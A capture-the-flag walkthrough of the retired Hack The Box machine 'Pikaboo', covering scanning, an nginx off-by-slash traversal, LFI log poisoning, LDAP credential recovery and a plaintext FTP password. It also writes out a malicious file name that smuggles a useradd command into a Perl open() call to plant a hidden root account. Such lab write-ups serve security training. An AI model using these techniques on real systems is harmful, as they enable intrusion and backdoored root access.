0

Pikaboo: Hack The Box Walkthrough

 7 months ago
source link: https://hackso.me/pikaboo-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

This post documents the complete walkthrough of Pikaboo, a retired vulnerable VM created by pwnmeow and polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Pikaboo is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.249 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-19 00:59:29 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.249
Discovered open port 80/tcp on 10.10.10.249
Discovered open port 21/tcp on 10.10.10.249

Nothing unusual. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p21,22,80 -A --reason 10.10.10.249 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo

No shit. You know things are tough when there ain’t much information. Anyway, this is what the http service looks like.

I turned on Burp while I navigate the site, and this is the response I saw when I navigated to /admin.

Nginx 1.14.2 is being used as a reverse proxy to a Apache 2.4.38 listening at 127.0.0.1 port 81/tcp.

Nginx Off-By-Slash Misconfiguration

With a off-by-slash misconfiguration, it is possible to traverse hidden paths due to a missing slash. Orange Tsai made this technique well-known with the alias directive in Nginx. What is less known is that this also works with other directives like proxy_pass. Check this out.

This should normally be forbidden to casual browsing.

Directory/File Enumeration

Judging by the box’s radar chart, I’m pretty sure the discovery of the hidden path is very CTF-like.

See what I mean?

wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 20 --hc '401,404' http://10.10.10.249/admin../admin_FUZZ/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.249/admin../admin_FUZZ/
Total requests: 17770

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000520:   200        882 L    2267 W     40554 Ch    "staging"

Total time: 0
Processed Requests: 17770
Filtered Requests: 17769
Requests/sec.: 0

Local File Inclusion Leading to RCE via Log Poisoning

It’s not long before a Local File Inclusion (LFI) vulnerability in the page parameter is found in this template.

wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 20 --hl 367 http://10.10.10.249/admin../admin_staging/index
.php?page=FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ
Total requests: 914

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000733:   200        413 L    1670 W     19803 Ch    "/var/log/vsftpd.log"
000000734:   200        552 L    1370 W     160065 Ch   "/var/log/wtmp"

Total time: 2.152672
Processed Requests: 914
Filtered Requests: 912
Requests/sec.: 424.5885

So, if I can poison /var/log/vsftpd.log with PHP code, I should be able to execute remote commands. Sounds like a plan.

Let’s give it a shot.

Now see if there’s dipshit in the log.

Awesome.

Foothold

Armed with this insight, let’s get ourselves a reverse shell with the following “username”.

Reload the browser and a reverse shell appears in my netcat listener.

I’m pleasantly surprised I was able to read user.txt.

Privilege Escalation

During enumeration of www-data’s account, I notice crontab running a bash script every minute on the minute.

/usr/local/bin/csvupdate_cron
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done

We can see that the script goes into each directory in /srv/ftp and runs csvupdate with the directory name and all the files with a csv extension as arguments, and finally removing all the files in that directory before moving to the next directory.

Let’s check out the executable rights of csvupdate.

Interesting, only root can execute but we get to read it.

/usr/local/bin/csvupdate
#!/usr/bin/perl

##################################################################
# Script for upgrading PokeAPI CSV files with FTP-uploaded data. #
#                                                                #
# Usage:                                                         #
# ./csvupdate <type> <file(s)>                                   #
#                                                                #
# Arguments:                                                     #
# - type: PokeAPI CSV file type                                  #
#         (must have the correct number of fields)               #
# - file(s): list of files containing CSV data                   #
##################################################################

use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";

my %csv_fields = (
  'abilities' => 4,
  'ability_changelog' => 3,
  'ability_changelog_prose' => 3,
  'ability_flavor_text' => 4,
  'ability_names' => 3,
  'ability_prose' => 4,
  'berries' => 10,
  'berry_firmness' => 2,
  'berry_firmness_names' => 3,
  'berry_flavors' => 3,
  'characteristics' => 3,
  'characteristic_text' => 3,
  'conquest_episode_names' => 3,
  'conquest_episodes' => 2,
  'conquest_episode_warriors' => 2,
  'conquest_kingdom_names' => 3,
  'conquest_kingdoms' => 3,
  'conquest_max_links' => 3,
  'conquest_move_data' => 7,
  'conquest_move_displacement_prose' => 5,
  'conquest_move_displacements' => 3,
  'conquest_move_effect_prose' => 4,
  'conquest_move_effects' => 1,
  'conquest_move_range_prose' => 4,
  'conquest_move_ranges' => 3,
  'conquest_pokemon_abilities' => 3,
  'conquest_pokemon_evolution' => 8,
  'conquest_pokemon_moves' => 2,
  'conquest_pokemon_stats' => 3,
  'conquest_stat_names' => 3,
  'conquest_stats' => 3,
  'conquest_transformation_pokemon' => 2,
  'conquest_transformation_warriors' => 2,
  'conquest_warrior_archetypes' => 2,
  'conquest_warrior_names' => 3,
  'conquest_warrior_ranks' => 4,
  'conquest_warrior_rank_stat_map' => 3,
  'conquest_warriors' => 4,
  'conquest_warrior_skill_names' => 3,
  'conquest_warrior_skills' => 2,
  'conquest_warrior_specialties' => 3,
  'conquest_warrior_stat_names' => 3,
  'conquest_warrior_stats' => 2,
  'conquest_warrior_transformation' => 10,
  'contest_combos' => 2,
  'contest_effect_prose' => 4,
  'contest_effects' => 3,
  'contest_type_names' => 5,
  'contest_types' => 2,
  'egg_group_prose' => 3,
  'egg_groups' => 2,
  'encounter_condition_prose' => 3,
  'encounter_conditions' => 2,
  'encounter_condition_value_map' => 2,
  'encounter_condition_value_prose' => 3,
  'encounter_condition_values' => 4,
  'encounter_method_prose' => 3,
  'encounter_methods' => 3,
  'encounters' => 7,
  'encounter_slots' => 5,
  'evolution_chains' => 2,
  'evolution_trigger_prose' => 3,
  'evolution_triggers' => 2,
  'experience' => 3,
  'genders' => 2,
  'generation_names' => 3,
  'generations' => 3,
  'growth_rate_prose' => 3,
  'growth_rates' => 3,
  'item_categories' => 3,
  'item_category_prose' => 3,
  'item_flag_map' => 2,
  'item_flag_prose' => 4,
  'item_flags' => 2,
  'item_flavor_summaries' => 3,
  'item_flavor_text' => 4,
  'item_fling_effect_prose' => 3,
  'item_fling_effects' => 2,
  'item_game_indices' => 3,
  'item_names' => 3,
  'item_pocket_names' => 3,
  'item_pockets' => 2,
  'item_prose' => 4,
  'items' => 6,
  'language_names' => 3,
  'languages' => 6,
  'location_area_encounter_rates' => 4,
  'location_area_prose' => 3,
  'location_areas' => 4,
  'location_game_indices' => 3,
  'location_names' => 4,
  'locations' => 3,
  'machines' => 4,
  'move_battle_style_prose' => 3,
  'move_battle_styles' => 2,
  'move_changelog' => 10,
  'move_damage_classes' => 2,
  'move_damage_class_prose' => 4,
  'move_effect_changelog' => 3,
  'move_effect_changelog_prose' => 3,
  'move_effect_prose' => 4,
  'move_effects' => 1,
  'move_flag_map' => 2,
  'move_flag_prose' => 4,
  'move_flags' => 2,
  'move_flavor_summaries' => 3,
  'move_flavor_text' => 4,
  'move_meta_ailment_names' => 3,
  'move_meta_ailments' => 2,
  'move_meta_categories' => 2,
  'move_meta_category_prose' => 3,
  'move_meta' => 13,
  'move_meta_stat_changes' => 3,
  'move_names' => 3,
  'moves' => 15,
  'move_target_prose' => 4,
  'move_targets' => 2,
  'nature_battle_style_preferences' => 4,
  'nature_names' => 3,
  'nature_pokeathlon_stats' => 3,
  'natures' => 7,
  'pal_park_area_names' => 3,
  'pal_park_areas' => 2,
  'pal_park' => 4,
  'pokeathlon_stat_names' => 3,
  'pokeathlon_stats' => 2,
  'pokedexes' => 4,
  'pokedex_prose' => 4,
  'pokedex_version_groups' => 2,
  'pokemon_abilities' => 4,
  'pokemon_color_names' => 3,
  'pokemon_colors' => 2,
  'pokemon' => 8,
  'pokemon_dex_numbers' => 3,
  'pokemon_egg_groups' => 2,
  'pokemon_evolution' => 20,
  'pokemon_form_generations' => 3,
  'pokemon_form_names' => 4,
  'pokemon_form_pokeathlon_stats' => 5,
  'pokemon_forms' => 10,
  'pokemon_form_types' => 3,
  'pokemon_game_indices' => 3,
  'pokemon_habitat_names' => 3,
  'pokemon_habitats' => 2,
  'pokemon_items' => 4,
  'pokemon_move_method_prose' => 4,
  'pokemon_move_methods' => 2,
  'pokemon_moves' => 6,
  'pokemon_shape_prose' => 5,
  'pokemon_shapes' => 2,
  'pokemon_species' => 20,
  'pokemon_species_flavor_summaries' => 3,
  'pokemon_species_flavor_text' => 4,
  'pokemon_species_names' => 4,
  'pokemon_species_prose' => 3,
  'pokemon_stats' => 4,
  'pokemon_types' => 3,
  'pokemon_types_past' => 4,
  'region_names' => 3,
  'regions' => 2,
  'stat_names' => 3,
  'stats' => 5,
  'super_contest_combos' => 2,
  'super_contest_effect_prose' => 3,
  'super_contest_effects' => 2,
  'type_efficacy' => 3,
  'type_game_indices' => 3,
  'type_names' => 3,
  'types' => 4,
  'version_group_pokemon_move_methods' => 2,
  'version_group_regions' => 2,
  'version_groups' => 4,
  'version_names' => 3,
  'versions' => 3
);


if($#ARGV < 1)
{
  die "Usage: $0 <type> <file(s)>\n";
}

my $type = $ARGV[0];
if(!exists $csv_fields{$type})
{
  die "Unrecognised CSV data type: $type.\n";
}

my $csv = Text::CSV->new({ sep_char => ',' });

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>)
{
  chomp;
  if($csv->parse($_))
  {
    my @fields = $csv->fields();
    if(@fields != $csv_fields{$type})
    {
      warn "Incorrect number of fields: '$_'\n";
      next;
    }
    print $fh "$_\n";
  }
}

close($fh);

This Perl script is exactly as it’s described in the banner: upgrading PokeAPI CSV data with FTP-uploaded ones. This is what /opt/pokeapi/data/v2/csv looks like.

And there you have it—command injection vulnerability in Perl’s open() in the line for(<>).

In short, we have to upload a file with a pipe (|) in the beginning of the file name and a csv at the end of the file name for open() to interpret it as shell command execution. The next question is: how do we write to /srv/ftp?

Only root and ftp have the write permissions.

From www-data to pwnmeow in FTP

During an earlier enumeration, I notice that LDAP is running at 127.0.0.1 port 389/tcp.

And the following binddn credentials to enumerate LDAP.

Lucky for us, ldapsearch is made available—we can enumerate LDAP like so.

ldapsearch -H ldap:/// -x -W -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -b "dc=pikaboo,dc=htb"

pwnmeow’s FTP password is decoded to _G0tT4_C4tcH_'3m_4lL!_.

Gotta Catch ‘Em All

First we create a berries directory and then touch the following file in the directory.

mkdir berries
cd berries
touch '|useradd -o -u 0 -g 0 -p to5bce5sr7eK6 groot; csv'

The idea is to secretly create another root user. The string to5bce5sr7eK6 is the output from perl -e 'print crypt("toor", "toor")'.

Next, we log in to FTP as pwnmeow and do the following.

cd berries
prompt
mput *
bye

Once that’s done, we can now SSH in as groot with the password toor because PermitRootLogin is set to yes in /etc/ssh/sshd_config.

Getting root.txt with a root shell is trivial.

:dancer:


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK